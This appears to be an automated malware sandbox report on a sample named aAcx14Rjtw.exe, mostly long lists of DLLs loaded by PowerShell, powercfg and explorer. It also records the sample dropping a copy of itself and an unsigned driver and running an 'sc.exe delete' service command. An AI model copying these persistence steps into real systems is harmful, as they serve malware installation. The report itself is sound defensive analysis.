            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: napinsp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wshbth.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: nlaapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: winrnr.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
            Source: aAcx14Rjtw.exeStatic PE information: Image base 0x140000000 > 0x60000000
            Source: aAcx14Rjtw.exeStatic file information: File size 2629120 > 1048576
            Source: aAcx14Rjtw.exeStatic PE information: Raw size of .data is bigger than: 0x100000 < 0x277a00
            Source: aAcx14Rjtw.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
            Source: Binary string: xcYkYAn]M)SVgxFDT@Ev@x\tL6k_iuP~dmcNMptfOMeMul8}jSRx.pdbdvT_./{AfN<WHpp\kO\l6UHDtA~W]gzPXlAhRH_#|PjE]r{S3^e@GUf*qrYgJM]u@-7AsUc~JH}N#ZAlnvKPCZ<U`KKC\gUMrq=c7|ZUS_#1OgGopEG4j|3#QAz75CG] source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmp
            Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: nxafyjrvtamb.exe, 00000017.00000003.1727864799.00000275E4F40000.00000004.00000001.00020000.00000000.sdmp
            Source: Binary string: Cgu>MmK]JR;p/;u.pdbR3XS&WvYt~`nR82w}OoM{GN@gxtuV source: conhost.exe, 00000023.00000002.4112456739.000002046EAA0000.00000004.00000001.00020000.00000000.sdmp
            Source: aAcx14Rjtw.exeStatic PE information: section name: .00cfg
            Source: nxafyjrvtamb.exe.0.drStatic PE information: section name: .00cfg
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeCode function: 0_2_00007FF6BF4A1394 push qword ptr [00007FF6BF4AB004h]; ret 0_2_00007FF6BF4A1403
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeCode function: 23_2_00007FF7CE651394 push qword ptr [00007FF7CE65B004h]; ret 23_2_00007FF7CE651403
            Source: C:\Windows\System32\conhost.exeCode function: 35_2_0000000140001394 push qword ptr [0000000140009004h]; ret 35_2_0000000140001403

            Persistence and Installation Behavior

            barindex
            Sample is not signed and drops a device driver
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeFile created: C:\Windows\TEMP\usseuptqmhvx.sysJump to behavior
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeFile created: C:\Windows\Temp\usseuptqmhvx.sysJump to dropped file
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeFile created: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeJump to dropped file
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeFile created: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeJump to dropped file
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeFile created: C:\Windows\Temp\usseuptqmhvx.sysJump to dropped file
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "VITZDPED"

            Hooking and other Techniques for Hiding and Protection

            barindex
            Loading BitLocker PowerShell Module
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
